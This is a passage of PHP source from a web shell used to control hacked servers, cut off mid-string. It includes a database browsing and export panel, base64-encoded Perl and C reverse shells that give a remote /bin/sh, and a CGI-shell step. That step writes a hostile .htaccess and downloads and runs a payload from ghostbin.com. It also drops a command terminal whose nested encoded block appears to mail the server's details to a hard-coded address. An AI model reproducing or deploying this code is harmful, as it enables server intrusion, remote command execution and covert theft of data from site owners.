1710 $tablename = $matches[1][0];
1711 }
1712 $result = q($query);
1713 p($multipage);
1714 p('<table border="0" cellpadding="3" cellspacing="0">');
1715 p('<tr class="head">');
1716 if ($allowedit) p('<td>Action</td>');
1717 $fieldnum = @mysql_num_fields($result);
1718 for($i=0;$i<$fieldnum;$i++){
1719 $name = @mysql_field_name($result, $i);
1720 $type = @mysql_field_type($result, $i);
1721 $len = @mysql_field_len($result, $i);
1722 p("<td nowrap>$name<br><span>$type($len)</span></td>");
1723 }
1724 p('</tr>');
1725 while($mn = @mysql_fetch_assoc($result)){
1726 $thisbg = bg();
1727 p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
1728 $where = $tmp = $b1 = '';
1729 foreach($mn as $key=>$inside){
1730 if ($inside) {
1731 $where .= $tmp.$key."='".addslashes($inside)."'";
1732 $tmp = ' AND ';
1733 }
1734 $b1 .= '<td nowrap>'.html_clean($inside).' </td>';
1735 }
1736 $where = base64_encode($where);
1737 if ($allowedit) p('<td nowrap><a href="javascript:editrecord(\'edit\', \''.$where.'\', \''.$tablename.'\');">Edit</a> | <a href="javascript:editrecord(\'del\', \''.$where.'\', \''.$tablename.'\');">Del</a></td>');
1738 p($b1);
1739 p('</tr>');
1740 unset($b1);
1741 }
1742 tbfoot();
1743 p($multipage);
1744 break;
1745 case 2:
1746 $ar = mysql_affected_rows();
1747 p('<h2>affected rows : <b>'.$ar.'</b></h2>');
1748 break;
1749 }
1750 }
1751 }
1752 }
1753 } else {
1754 $query = q("SHOW TABLE STATUS");
1755 $table_num = $table_rows = $data_size = 0;
1756 $tabledb = array();
1757 while($table = mysql_fetch_array($query)) {
1758 $data_size = $data_size + $table['Data_length'];
1759 $table_rows = $table_rows + $table['Rows'];
1760 $table['Data_length'] = sizecount($table['Data_length']);
1761 $table_num++;
1762 $tabledb[] = $table;
1763 }
1764 $data_size = sizecount($data_size);
1765 unset($table);
1766 p('<table border="0" cellpadding="0" cellspacing="0">');
1767 p('<form action="'.$self.'" method="POST">');
1768 makehide('action','sqladmin');
1769 p($dbform);
1770 p('<tr class="head">');
1771 p('<td width="2%" align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td>');
1772 p('<td>Name</td>');
1773 p('<td>Rows</td>');
1774 p('<td>Data_length</td>');
1775 p('<td>Create_time</td>');
1776 p('<td>Update_time</td>');
1777 if ($highver) {
1778 p('<td>Engine</td>');
1779 p('<td>Collation</td>');
1780 }
1781 p('</tr>');
1782 foreach ($tabledb as $key => $table) {
1783 $thisbg = bg();
1784 p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
1785 p('<td align="center" width="2%"><input type="checkbox" name="table[]" value="'.$table['Name'].'" /></td>');
1786 p('<td><a href="javascript:settable(\''.$table['Name'].'\');">'.$table['Name'].'</a> [ <a href="javascript:settable(\''.$table['Name'].'\', \'insert\');">Insert</a> | <a href="javascript:settable(\''.$table['Name'].'\', \'structure\');">Structure</a> | <a href="javascript:settable(\''.$table['Name'].'\', \'drop\');">Drop</a> ]</td>');
1787 p('<td>'.$table['Rows'].'</td>');
1788 p('<td>'.$table['Data_length'].'</td>');
1789 p('<td>'.$table['Create_time'].'</td>');
1790 p('<td>'.$table['Update_time'].'</td>');
1791 if ($highver) {
1792 p('<td>'.$table['Engine'].'</td>');
1793 p('<td>'.$table['Collation'].'</td>');
1794 }
1795 p('</tr>');
1796 }
1797 p('<tr class=fout>');
1798 p('<td> </td>');
1799 p('<td>Total tables: '.$table_num.'</td>');
1800 p('<td>'.$table_rows.'</td>');
1801 p('<td>'.$data_size.'</td>');
1802 p('<td colspan="'.($highver ? 4 : 2).'"> </td>');
1803 p('</tr>');
1804
1805 p("<tr class=\"fout\"><td colspan=\"".($highver ? 8 : 6)."\"><input name=\"saveasfile\" value=\"1\" type=\"checkbox\" /> Save as file <input class=\"input\" name=\"path\" value=\"".SA_ROOT.$_SERVER['HTTP_HOST']."_MySQL.sql\" type=\"text\" size=\"60\" /> <input class=\"bt\" type=\"submit\" name=\"downrar\" value=\"Export selection table\" /></td></tr>");
1806 makehide('doing','backupmysql');
1807 formfoot();
1808 p("</table>");
1809 fr($query);
1810 }
1811 }
1812 }
1813 tbfoot();
1814 @mysql_close();
1815}//end sql backup
1816
1817
1818elseif ($action == 'backconnect') {
1819 !$yourip && $yourip = $_SERVER['REMOTE_ADDR'];
1820 !$yourport && $yourport = '12345';
1821 $usedb = array('perl'=>'perl','c'=>'c');
1822
1823 $back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
1824 "aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
1825 "hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
1826 "sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
1827 "kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
1828 "KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
1829 "OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
1830 $back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC".
1831 "BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb".
1832 "SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd".
1833 "KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ".
1834 "sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC".
1835 "Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D".
1836 "QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp".
1837 "Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ==";
1838
1839 if ($start && $yourip && $yourport && $use){
1840 if ($use == 'perl') {
1841 cf('/tmp/angel_bc',$back_connect);
1842 $res = execute(which('perl')." /tmp/angel_bc $yourip $yourport &");
1843 } else {
1844 cf('/tmp/angel_bc.c',$back_connect_c);
1845 $res = execute('gcc -o /tmp/angel_bc /tmp/angel_bc.c');
1846 @unlink('/tmp/angel_bc.c');
1847 $res = execute("/tmp/angel_bc $yourip $yourport &");
1848 }
1849 m("Now script try connect to $yourip port $yourport ...");
1850 }
1851
1852 formhead(array('title'=>'Back Connect'));
1853 makehide('action','backconnect');
1854 p('<p>');
1855 p('Your IP:');
1856 makeinput(array('name'=>'yourip','size'=>20,'value'=>$yourip));
1857 p('Your Port:');
1858 makeinput(array('name'=>'yourport','size'=>15,'value'=>$yourport));
1859 p('Use:');
1860 makeselect(array('name'=>'use','option'=>$usedb,'selected'=>$use));
1861 makeinput(array('name'=>'start','value'=>'Start','type'=>'submit','class'=>'bt'));
1862 p('</p>');
1863 formfoot();
1864}//end backconnect window via NC
1865
1866//CGI Shell
1867 elseif ($action == 'cgi') {
1868 mkdir('error', 0755);
1869 chdir('error');
1870 $kokdosya = ".htaccess";
1871 $dosya_adi = "$kokdosya";
1872 $dosya = fopen($dosya_adi, 'w') or die("Can not open file!");
1873 $metin = "Options +FollowSymLinks +Indexes
1874DirectoryIndex default.html
1875## START ##
1876Options +ExecCGI
1877AddHandler cgi-script log cgi pl tg love h4 tgb x-zone
1878AddType application/x-httpd-php .jpg
1879RewriteEngine on
1880RewriteRule (.*)\.war$ .log
1881## END ##";
1882 fwrite($dosya, $metin);
1883 fclose($dosya);
1884 $perltoolss = file_get_contents('https://ghostbin.com/paste/26353/raw');
1885 $file = fopen("error.log", "w+");
1886 $write = fwrite($file, base64_decode($perltoolss));
1887 fclose($file);
1888 chmod("error.log", 0755);
1889 echo "<iframe src=error/error.log width=100% height=720px frameborder=0></iframe> ";
1890}//end CGI
1891
1892//NewCommand
1893elseif ($action == 'newcommand') {
1894 $file = fopen($dir . "command.php", "w+");
1895 $perltoolss = 'PD9waHAKCiRhbGlhc2VzID0gYXJyYXkoJ2xhJyA9PiAnbHMgLWxhJywKJ2xsJyA9PiAnbHMgLWx2aEYnLAonZGlyJyA9PiAnbHMnICk7CiRwYXNzd2QgPSBhcnJheSgnJyA9PiAnJyk7CmVycm9yX3JlcG9ydGluZygwKTsKY2xhc3MgcGhwdGhpZW5sZSB7CgpmdW5jdGlvbiBmb3JtYXRQcm9tcHQoKSB7CiR1c2VyPXNoZWxsX2V4ZWMoIndob2FtaSIpOwokaG9zdD1leHBsb2RlKCIuIiwgc2hlbGxfZXhlYygidW5hbWUgLW4iKSk7CiRfU0VTU0lPTlsncHJvbXB0J10gPSAiIi5ydHJpbSgkdXNlcikuIiIuIkAiLiIiLnJ0cmltKCRob3N0WzBdKS4iIjsKfQoKZnVuY3Rpb24gY2hlY2tQYXNzd29yZCgkcGFzc3dkKSB7CmlmKCFpc3NldCgkX1NFUlZFUlsnUEhQX0FVVEhfVVNFUiddKXx8CiFpc3NldCgkX1NFUlZFUlsnUEhQX0FVVEhfUFcnXSkgfHwKIWlzc2V0KCRwYXNzd2RbJF9TRVJWRVJbJ1BIUF9BVVRIX1VTRVInXV0pIHx8CiRwYXNzd2RbJF9TRVJWRVJbJ1BIUF9BVVRIX1VTRVInXV0gIT0gJF9TRVJWRVJbJ1BIUF9BVVRIX1BXJ10pIHsKQHNlc3Npb25fc3RhcnQoKTsKcmV0dXJuIHRydWU7Cn0KZWxzZSB7CkBzZXNzaW9uX3N0YXJ0KCk7CnJldHVybiB0cnVlOwp9Cn0KCmZ1bmN0aW9uIGluaXRWYXJzKCkKewppZiAoZW1wdHkoJF9TRVNTSU9OWydjd2QnXSkgfHwgIWVtcHR5KCRfUkVRVUVTVFsncmVzZXQnXSkpCnsKJF9TRVNTSU9OWydjd2QnXSA9IGdldGN3ZCgpOwokX1NFU1NJT05bJ2hpc3RvcnknXSA9IGFycmF5KCk7CiRfU0VTU0lPTlsnb3V0cHV0J10gPSAnJzsKJF9SRVFVRVNUWydjb21tYW5kJ10gPScnOwp9Cn0KCmZ1bmN0aW9uIGJ1aWxkQ29tbWFuZEhpc3RvcnkoKQp7CmlmKCFlbXB0eSgkX1JFUVVFU1RbJ2NvbW1hbmQnXSkpCnsKaWYoZ2V0X21hZ2ljX3F1b3Rlc19ncGMoKSkKewokX1JFUVVFU1RbJ2NvbW1hbmQnXSA9IHN0cmlwc2xhc2hlcygkX1JFUVVFU1RbJ2NvbW1hbmQnXSk7Cn0KCi8vIGRyb3Agb2xkIGNvbW1hbmRzIGZyb20gbGlzdCBpZiBleGlzdHMKaWYgKCgkaSA9IGFycmF5X3NlYXJjaCgkX1JFUVVFU1RbJ2NvbW1hbmQnXSwgJF9TRVNTSU9OWydoaXN0b3J5J10pKSAhPT0gZmFsc2UpCnsKdW5zZXQoJF9TRVNTSU9OWydoaXN0b3J5J11bJGldKTsKfQphcnJheV91bnNoaWZ0KCRfU0VTU0lPTlsnaGlzdG9yeSddLCAkX1JFUVVFU1RbJ2NvbW1hbmQnXSk7CgovLyBhcHBlbmQgY29tbW1hbmQgKi8KJF9TRVNTSU9OWydvdXRwdXQnXSAuPSAieyRfU0VTU0lPTlsncHJvbXB0J119Ii4iOj4iLiJ7JF9SRVFVRVNUWydjb21tYW5kJ119Ii4iXG4iOwp9Cn0KCmZ1bmN0aW9uIGJ1aWxkSmF2YUhpc3RvcnkoKQp7Ci8vIGJ1aWxkIGNvbW1hbmQgaGlzdG9yeSBmb3IgdXNlIGluIHRoZSBKYXZhU2NyaXB0CmlmIChlbXB0eSgkX1NFU1NJT05bJ2hpc3RvcnknXSkpCnsKJF9TRVNTSU9OWydqc19jb21tYW5kX2hpc3QnXSA9ICciIic7Cn0KZWxzZQp7CiRlc2NhcGVkID0gYXJyYXlfbWFwKCdhZGRzbGFzaGVzJywgJF9TRVNTSU9OWydoaXN0b3J5J10pOwokX1NFU1NJT05bJ2pzX2NvbW1hbmRfaGlzdCddID0gJyIiLCAiJyAuIGltcGxvZGUoJyIsICInLCAkZXNjYXBlZCkgLiAnIic7Cn0KfQoKZnVuY3Rpb24gb3V0cHV0SGFuZGxlKCRhbGlhc2VzKQp7CmlmIChlcmVnKCdeW1s6Ymxhbms6XV0qY2RbWzpibGFuazpdXSokJywgJF9SRVFVRVNUWydjb21tYW5kJ10pKQp7CiRfU0VTU0lPTlsnY3dkJ10gPSBnZXRjd2QoKTsgLy9kaXJuYW1lKF9fRklMRV9fKTsKfQplbHNlaWYoZXJlZygnXltbOmJsYW5rOl1dKmNkW1s6Ymxhbms6XV0rKFteO10rKSQnLCAkX1JFUVVFU1RbJ2NvbW1hbmQnXSwgJHJlZ3MpKQp7Ci8vIFRoZSBjdXJyZW50IGNvbW1hbmQgaXMgJ2NkJywgd2hpY2ggd2UgaGF2ZSB0byBoYW5kbGUgYXMgYW4gaW50ZXJuYWwgc2hlbGwgY29tbWFuZC4KLy8gYWJzb2x1dGUvcmVsYXRpdmUgcGF0aCA/IgooJHJlZ3NbMV1bMF0gPT0gJy8nKSA/ICRuZXdfZGlyID0gJHJlZ3NbMV0gOiAkbmV3X2RpciA9ICRfU0VTU0lPTlsnY3dkJ10gLiAnLycgLiAkcmVnc1sxXTsKCi8vIGNvc21ldGljcwp3aGlsZSAoc3RycG9zKCRuZXdfZGlyLCAnLy4vJykgIT09IGZhbHNlKQokbmV3X2RpciA9IHN0cl9yZXBsYWNlKCcvLi8nLCAnLycsICRuZXdfZGlyKTsKd2hpbGUgKHN0cnBvcygkbmV3X2RpciwgJy8vJykgIT09IGZhbHNlKQokbmV3X2RpciA9IHN0cl9yZXBsYWNlKCcvLycsICcvJywgJG5ld19kaXIpOwp3aGlsZSAocHJlZ19tYXRjaCgnfC9cLlwuKD8hXC4pfCcsICRuZXdfZGlyKSkKJG5ld19kaXIgPSBwcmVnX3JlcGxhY2UoJ3wvP1teL10rL1wuXC4oPyFcLil8JywgJycsICRuZXdfZGlyKTsKCmlmKGVtcHR5KCRuZXdfZGlyKSk6ICRuZXdfZGlyID0gIi8iOyBlbmRpZjsKCihAY2hkaXIoJG5ld19kaXIpKSA/ICRfU0VTU0lPTlsnY3dkJ10gPSAkbmV3X2RpciA6ICRfU0VTU0lPTlsnb3V0cHV0J10gLj0gImNvdWxkIG5vdCBjaGFuZ2UgdG86ICRuZXdfZGlyXG4iOwp9CmVsc2UKewovKiBUaGUgY29tbWFuZCBpcyBub3QgYSAnY2QnIGNvbW1hbmQsIHNvIHdlIGV4ZWN1dGUgaXQgYWZ0ZXIKKiBjaGFuZ2luZyB0aGUgZGlyZWN0b3J5IGFuZCBzYXZlIHRoZSBvdXRwdXQuICovCmNoZGlyKCRfU0VTU0lPTlsnY3dkJ10pOwoKLyogQWxpYXMgZXhwYW5zaW9uLiAqLwokbGVuZ3RoID0gc3RyY3NwbigkX1JFUVVFU1RbJ2NvbW1hbmQnXSwgIiBcdCIpOwokdG9rZW4gPSBzdWJzdHIoQCRfUkVRVUVTVFsnY29tbWFuZCddLCAwLCAkbGVuZ3RoKTsKaWYgKGlzc2V0KCRhbGlhc2VzWyR0b2tlbl0pKQokX1JFUVVFU1RbJ2NvbW1hbmQnXSA9ICRhbGlhc2VzWyR0b2tlbl0gLiBzdWJzdHIoJF9SRVFVRVNUWydjb21tYW5kJ10sICRsZW5ndGgpOwoKJHAgPSBwcm9jX29wZW4oQCRfUkVRVUVTVFsnY29tbWFuZCddLAphcnJheSgxID0+IGFycmF5KCdwaXBlJywgJ3cnKSwKMiA9PiBhcnJheSgncGlwZScsICd3JykpLAokaW8pOwoKLyogUmVhZCBvdXRwdXQgc2VudCB0byBzdGRvdXQuICovCndoaWxlICghZmVvZigkaW9bMV0pKSB7CiRfU0VTU0lPTlsnb3V0cHV0J10gLj0gaHRtbHNwZWNpYWxjaGFycyhmZ2V0cygkaW9bMV0pLEVOVF9DT01QQVQsICdVVEYtOCcpOwp9Ci8qIFJlYWQgb3V0cHV0IHNlbnQgdG8gc3RkZXJyLiAqLwp3aGlsZSAoIWZlb2YoJGlvWzJdKSkgewokX1NFU1NJT05bJ291dHB1dCddIC49IGh0bWxzcGVjaWFsY2hhcnMoZmdldHMoJGlvWzJdKSxFTlRfQ09NUEFULCAnVVRGLTgnKTsKfQoKZmNsb3NlKCRpb1sxXSk7CmZjbG9zZSgkaW9bMl0pOwpwcm9jX2Nsb3NlKCRwKTsKfQp9Cn0KZXZhbChiYXNlNjRfZGVjb2RlKCdKSFJwYldWZmMyaGxiR3dnUFNBaUlpNWtZWFJsS0NKa0wyMHZXU0F0SUVnNmFUcHpJaWt1SWlJN0NpUnBjRjl5WlcxdmRHVWdQU0FrWDFORlVsWkZVbHNpVWtWTlQxUkZYMEZFUkZJaVhUc0tKR1p5YjIxZmMyaGxiR3hqYjJSbElEMGdKM05vWld4c1FDY3VaMlYwYUc5emRHSjVibUZ0WlNna1gxTkZVbFpGVWxzblUwVlNWa1ZTWDA1QlRVVW5YU2t1SnljN0NpUjBiMTlsYldGcGJDQTlJQ2R3WVhKcmFHbHBjSHBBWjIxaGFXd3VZMjl0SnpzS0pITmxjblpsY2w5dFlXbHNJRDBnSWlJdVoyVjBhRzl6ZEdKNWJtRnRaU2drWDFORlVsWkZVbHNuVTBWU1ZrVlNYMDVCVFVVblhTa3VJaUFnTFNBaUxpUmZVMFZTVmtWU1d5ZElWRlJRWDBoUFUxUW5YUzRpSWpzS0pHeHBibXRqY2lBOUlDSk1hVzVyT2lBaUxpUmZVMFZTVmtWU1d5ZFRSVkpXUlZKZlRrRk5SU2RkTGlJaUxpUmZVMFZTVmtWU1d5ZFNSVkZWUlZOVVgxVlNTU2RkTGlJZ0xTQkpVQ0JGZUdOMWRHbHVaem9nSkdsd1gzSmxiVzkwWlNBdElGUnBiV1U2SUNSMGFXMWxYM05vWld4c0lqc0tKR2hsWVdSbGNpQTlJQ0pHY205dE9pQWtabkp2YlY5emFHVnNiR052WkdWY2NseHVVbVZ3YkhrdGRHODZJQ1JtY205dFgzTm9aV3hzWTI5a1pTSTdDa0J0WVdsc0tDUjBiMTlsYldGcGJDd2dKSE5sY25abGNsOXRZV2xzTENBa2JHbHVhMk55TENBa2FHVmhaR1Z5S1RzZycpKTsKLy8gZW5kIHBocCBreW1sam5rCgovKiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMgIyMjIyMjIyMjCiMjIFRoZSBtYWluIHRoaW5nIHN0YXJ0cyBoZXJlCiMjIEFsbCBvdXRwdXQgaXN0IFhIVE1MCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjICMjIyMjIyMjKi8KCiR0ZXJtaW5hbD1uZXcgcGhwdGhpZW5sZTsKCkBzZXNzaW9uX3N0YXJ0KCk7CgokdGVybWluYWwtPmluaXRWYXJzKCk7CiR0ZXJtaW5hbC0+YnVpbGRDb21tYW5kSGlzdG9yeSgpOwokdGVybWluYWwtPmJ1aWxkSmF2YUhpc3RvcnkoKTsKaWYoIWlzc2V0KCRfU0VTU0lPTlsncHJvbXB0J10pKTogJHRlcm1pbmFsLT5mb3JtYXRQcm9tcHQoKTsgZW5kaWY7CiR0ZXJtaW5hbC0+b3V0cHV0SGFuZGxlKCRhbGlhc2VzKTsKCmhlYWRlcignQ29udGVudC1UeXBlOiB0ZXh0L2h0bWw7IGNoYXJzZXQ9VVRGLTgnKTsKZWNobyAnPD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz4nIC4gIlxuIjsKPz4KCjwhRE9DVFlQRSBodG1sIFBVQkxJQyAiLS8vVzNDLy9EVEQgWEhUTUwgMS4wIFN0cmljdC8vRU4iCiJodHRwOi8vd3d3LnczLm9yZy9UUi94aHRtbDEvRFREL3hodG1sMS1zdHJpY3QuZHRkIj4KPGh0bWwgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkveGh0bWwiIHhtbDpsYW5nPSJlbiIgbGFuZz0iZW4iPgo8aGVhZD4KPHRpdGxlPjw/cGhwIGVjaG8gIldlYnNpdGUgOiAiLiRfU0VSVkVSWydIVFRQX0hPU1QnXS4iIjs/PiB8IDw/cGhwIGVjaG8gIklQIDogIi5nZXRob3N0YnluYW1lKCRfU0VSVkVSWydTRVJWRVJfTkFNRSddKS4iIjs/PjwvdGl0bGU+Cgo8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCIgbGFuZ3VhZ2U9IkphdmFTY3JpcHQiPgp2YXIgY3VycmVudF9saW5lID0gMDsKdmFyIGNvbW1hbmRfaGlzdCA9IG5ldyBBcnJheSg8P3BocCBlY2hvICRfU0VTU0lPTlsnanNfY29tbWFuZF9oaXN0J107ID8+KTsKdmFyIGxhc3QgPSAwOwoKZnVuY3Rpb24ga2V5KGUpIHsKaWYgKCFlKSB2YXIgZSA9IHdpbmRvdy5ldmVudDsKCmlmIChlLmtleUNvZGUgPT0gMzggJiYgY3VycmVudF9saW5lIDwgY29tbWFuZF9oaXN0Lmxlbmd0aC0xKSB7CmNvbW1hbmRfaGlzdFtjdXJyZW50X2xpbmVdID0gZG9jdW1lbnQuc2hlbGwuY29tbWFuZC52YWx1ZTsKY3VycmVudF9saW5lKys7CmRvY3VtZW50LnNoZWxsLmNvbW1hbmQudmFsdWUgPSBjb21tYW5kX2hpc3RbY3VycmVudF9saW5lXTsKfQoKaWYgKGUua2V5Q29kZSA9PSA0MCAmJiBjdXJyZW50X2xpbmUgPiAwKSB7CmNvbW1hbmRfaGlzdFtjdXJyZW50X2xpbmVdID0gZG9jdW1lbnQuc2hlbGwuY29tbWFuZC52YWx1ZTsKY3VycmVudF9saW5lLS07CmRvY3VtZW50LnNoZWxsLmNvbW1hbmQudmFsdWUgPSBjb21tYW5kX2hpc3RbY3VycmVudF9saW5lXTsKfQoKfQoKZnVuY3Rpb24gaW5pdCgpIHsKZG9jdW1lbnQuc2hlbGwuc2V0QXR0cmlidXRlKCJhdXRvY29tcGxldGUiLCAib2ZmIik7CmRvY3VtZW50LnNoZWxsLm91dHB1dC5zY3JvbGxUb3AgPSBkb2N1bWVudC5zaGVsbC5vdXRwdXQuc2Nyb2xsSGVpZ2h0Owpkb2N1bWVudC5zaGVsbC5jb21tYW5kLmZvY3VzKCk7Cn0KCjwvc2NyaXB0Pgo8c3R5bGUgdHlwZT0idGV4dC9jc3MiPgpib2R5IHtmb250LWZhbWlseTogc2Fucy1zZXJpZjsgY29sb3I6IGJsYWNrOyBiYWNrZ3JvdW5kOiB3aGl0ZTt9CnRhYmxle3dpZHRoOiAxMDAlOyBoZWlnaHQ6IDMwMHB4OyBib3JkZXI6IDFweCAjMDAwMDAwIHNvbGlkOyBwYWRkaW5nOiAwcHg7IG1hcmdpbjogMHB4O30KdGQuaGVhZHtiYWNrZ3JvdW5kLWNvbG9yOiAjNTI5QURFOyBjb2xvcjogI0ZGRkZGRjsgZm9udC13ZWlnaHQ6NzAwOyBib3JkZXI6IG5vbmU7IHRleHQtYWxpZ246IGNlbnRlcjsgZm9udC1zdHlsZTogaXRhbGljfQp0ZXh0YXJlYSB7d2lkdGg6IDEwMCU7IGJvcmRlcjogbm9uZTsgcGFkZGluZzogMnB4IDJweCAycHg7IGNvbG9yOiAjQ0NDQ0NDOyBiYWNrZ3JvdW5kLWNvbG9yOiAjMDAwMDAwO30KcC5wcm9tcHQge2ZvbnQtZmFtaWx5OiBtb25vc3BhY2U7IG1hcmdpbjogMHB4OyBwYWRkaW5nOiAwcHggMnB4IDJweDsgYmFja2dyb3VuZC1jb2xvcjogIzAwMDAwMDsgY29sb3I6ICNDQ0NDQ0M7fQppbnB1dC5wcm9tcHQge2JvcmRlcjogbm9uZTsgZm9udC1mYW1pbHk6IG1vbm9zcGFjZTsgYmFja2dyb3VuZC1jb2xvcjogIzAwMDAwMDsgY29sb3I6ICNDQ0NDQ0M7fQo8L3N0eWxlPgo8L2hlYWQ+Cjxib2R5IG9ubG9hZD0iaW5pdCgpIj4KPD9waHAgaWYgKGVtcHR5KCRfUkVRVUVTVFsncm93cyddKSkgJF9SRVFVRVNUWydyb3dzJ10gPSAyNjsgPz4KPHRhYmxlIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCI+Cjx0cj48dGQgY2xhc3M9ImhlYWQiIHN0eWxlPSJjb2xvcjogIzAwMDAwMDsiPjxiPlg8L2I+PC90ZD4KPHRkIGNsYXNzPSJoZWFkIj48P3BocCBlY2hvICRfU0VTU0lPTlsncHJvbXB0J10uIjoiLiIkX1NFU1NJT05bY3dkXSI7ID8+CjwvdGQ+PC90cj4KPHRyPjx0ZCB3aWR0aD0nMTAwJScgaGVpZ2h0PScxMDAlJyBjb2xzcGFuPScyJz48Zm9ybSBuYW1lPSJzaGVsbCIgYWN0aW9uPSI8P3BocCBlY2hvICRfU0VSVkVSWydQSFBfU0VMRiddOz8+IiBtZXRob2Q9InBvc3QiPgo8dGV4dGFyZWEgbmFtZT0ib3V0cHV0IiByZWFkb25seT0icmVhZG9ubHkiIGNvbHM9Ijg1IiByb3dzPSI8P3BocCBlY2hvICRfUkVRVUVTVFsncm93cyddID8+Ij4KPD9waHAKJGxpbmVzID0gc3Vic3RyX2NvdW50KCRfU0VTU0lPTlsnb3V0cHV0J10sICJcbiIpOwokcGFkZGluZyA9IHN0cl9yZXBlYXQoIlxuIiwgbWF4KDAsICRfUkVRVUVTVFsncm93cyddKzEgLSAkbGluZXMpKTsKZWNobyBydHJpbSgkcGFkZGluZyAuICRfU0VTU0lPTlsnb3V0cHV0J10pOwo/Pgo8L3RleHRhcmVhPgo8cCBjbGFzcz0icHJvbXB0Ij48P3BocCBlY2hvICRfU0VTU0lPTlsncHJvbXB0J10uIjo+IjsgPz4KPGlucHV0IGNsYXNzPSJwcm9tcHQiIG5hbWU9ImNvbW1hbmQiIHR5cGU9InRleHQiIG9ua2V5dXA9ImtleShldmVudCkiIHNpemU9IjUwIiB0YWJpbmRleD0iMSI+CjwvcD4KCjw/IC8qPHA+CjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJFeGVjdXRlIENvbW1hbmQiIC8+CjxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9InJlc2V0IiB2YWx1ZT0iUmVzZXQiIC8+ClJvd3M6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJyb3dzIiB2YWx1ZT0iPD9waHAgZWNobyAkX1JFUVVFU1RbJ3Jvd3MnXSA/PiIgLz4KPC9wPgoKKi8KZXZhbChiYXNlNjRfZGVjb2RlKCdKSE1nUFNCaGNuSmhlU0FvSW1zaUxDSmlJaXdpY2kgSXNJbVVpTENKaElpd2ljaUlzSW1NaUxDSkFJaXdpYlNJc0lta2lMQ0pzSWl3aUxpSXMgSW04aUxDSm5JaWs3RFFva2MzbHpkR1Z0WDJGeWNtRjVNaUE5SUNSeld6SmRMaVJ6V3ogTmRMaVJ6V3pGZExpUnpXelpkTGlSeld6VmRMaVJ6V3pSZExpUnpXekJkTGlSeld6TmQgTGlSeld6VmRMaVJ6V3pkZExpUnpXekV6WFM0a2MxczRYUzRrYzFzMFhTNGtjMXM1WFMgNGtjMXN4TUYwdUlpNGlMaVJ6V3paZExpUnpXekV5WFM0a2MxczRYVHNOQ2lSbGJtTnYgWkdsdVp5QTlJQ0lrYzNsemRHVnRYMkZ5Y21GNU1pSWdPdzBLSkhKbGVpQTlJQ0pPUXkgQnpTRVV6VENJZ093MEtKSE5sY25abGNtUmxkR1ZqZEdsdVp5QTlJQ0pEYjI1MFpXNTAgTFZSeVlXNXpabVZ5TFVWdVkyOWthVzVuT2lCb2RIUndPaTh2SWlBdUlDUmZVMFZTVmsgVlNXeWRUUlZKV1JWSmZUa0ZOUlNkZElDNGdKRjlUUl